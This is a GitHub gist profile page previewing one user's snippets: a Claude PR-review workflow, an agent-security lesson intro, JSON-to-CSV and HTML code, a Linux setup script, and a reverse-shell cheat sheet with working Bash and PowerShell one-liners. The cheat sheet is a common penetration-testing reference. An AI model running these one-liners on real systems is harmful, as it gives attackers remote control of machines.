Skip to content

Instantly share code, notes, and snippets.

View nicolasleao's full-sized avatar

Nicolas Leão nicolasleao

View GitHub Profile
name: CI / Claude review
on:
pull_request:
types: [opened, synchronize, ready_for_review, reopened]
concurrency:
group: ${{ github.workflow }}-${{ github.event.pull_request.number }}
cancel-in-progress: true

28 02 - Agent Security Lesson

AI Adoption, Layoffs and the new norm

By 2026, 33% of enterprise applications feature agentic AI, yet these powerful systems introduce unprecedented risks: prompt injection attacks, unauthorized data access, and unpredictable emergent behaviors.

1 human supervising dozens of AI agents is slowly becoming the new norm as they get more capable at using the computer.

Block fired nearly half their employees replacing them with AI:

@nicolasleao
nicolasleao / reverse_shell_one_liners.md
Last active August 22, 2024 08:48
Reverse Shell Cheat Sheet

Bash

bash -i >& /dev/tcp/10.0.0.1/1234 0>&1 or exec 5<>/dev/tcp/10.0.0.1/1234 cat <&5 | while read line; do $line 2>&5 >&5; done

Powershell

powershell -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Perl

@nicolasleao
nicolasleao / csvFromJson.js
Last active May 30, 2024 00:22
Convert structured JSON array into CSV file
const { readFileSync, writeFileSync } = require('fs')
const csvFromJson = async () => {
// read and parse original json file into an array in the memory
const jsonResult = JSON.parse(readFileSync(`${__dirname}/input_file.json`, 'utf8'))
const keys = Object.keys(jsonResult[0])
// The columns will be the names of the keys of your first row, modified like this column_name > Column Name
// original json keys need to be in snake_case for this to work.
const columns = keys.map(key => {
<div id="modal-1" class="modal">
<div class="modal-overlay" tabindex="-1">
<div role="dialog" class="modal-container" aria-modal="true" aria-labelledby="modal-1-title" >
<header class="modal-header">
<h3 id="modal-1-title">
Selecione a localização
</h3>
<p id="geolocation-status"></p>
<a href="#" class="modal-close" aria-label="Close modal" style="text-decoration: none; color: black" onclick="toggleModal('modal-1');return false"></a>
#!/bin/bash
sudo apt install iw
sudo apt install wireless-tools
sudo apt install wpasupplicant
sudo apt install NetworkManager
sudo apt install firmware-iwlwifi
sudo apt install xorg
sudo apt install xserver-xorg-video-intel
sudo apt install lightdm
#include <stdio.h>
#include <string.h>
#include <math.h>
#include <stdlib.h>
void cima(int tam, int qtyBaixo) {
int qty = (tam - 2) - qtyBaixo;
int i, j;
int larg = tam + 2;